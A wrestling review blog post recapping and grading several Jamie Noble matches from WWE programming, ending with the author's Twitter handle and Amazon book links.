Rating: D. Bad match on top of a bad angle doesn’t help. Naturally it didn’t happen and Noble and Gunn started teaming together because it’s professional wrestling and of course it doesn’t make sense. Torrie looked hot though so I can’t complain much there. Still though, stupid angle and a stupid match.

Noble got a Cruiserweight Title shot at Royal Rumble 2004.

Cruiserweight Title: Rey Mysterio vs. Jamie Noble

Cruiserweight Title: Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London

Nunzio hits a slingshot to send Noble into the corner and Funaki adds a bulldog for two. We finally get to the dives with Nunzio diving on a pair of guys, allowing Noble to get two on Kash via a leg lariat. Noble dives on Helms and Nunzio on the floor and Funaki is knocked off the top onto Nunzio and Noble. London kicks Kash to the floor as well and dives on everyone not named Helms with a shooting star off the top.

Back to Velocity on March 11, 2006.

Pitbulls vs. Scotty 2 Hotty/Funaki

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Pit Bulls

FINALLY Noble gets in a shot to take over and gets a pair of two counts. Back to Kash who slams Kendrick into the mat by his hair. Kendrick dodges a charge and brings in London. Things speed way up and we talk about Ivan Putski. They go to the apron and London tries to skin the cat, but Noble gets in a shot to the back. I guess this is the official face in peril part.

Rating: B-. This match right here has already had more energy in it than the entirety of the previous two shows in this series. Londrick would spend the next 9 months or so as champions which is still the longest tag title reign in the WWE/F in about fifteen years. Very fun tag match with all kinds of old school heel tag work to make things very fun and get the crowd into it.

Cruiserweight Title: Jimmy Wang Yang vs. Chavo Guerrero vs. Shannon Moore vs. Jamie Noble vs. Funaki

Off to Smackdown on October 19, 2007.

Jamie Noble vs. Undertaker

Jamie Noble vs. William Regal

Jamie Noble vs. Boogeyman

Noble runs from the bag of worms to start. Boogeyman throws him into the corner but Jamie hammers away with some right hands. A beal sends Jamie out to the floor and a gorilla press sends him back into the ring. Jamie stomps away back inside and a top rope forearm gets two. We hit the chinlock on Boogey but he throws Jamie into the corner to escape. Back up and the pumphandle slam is enough to pin Noble.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6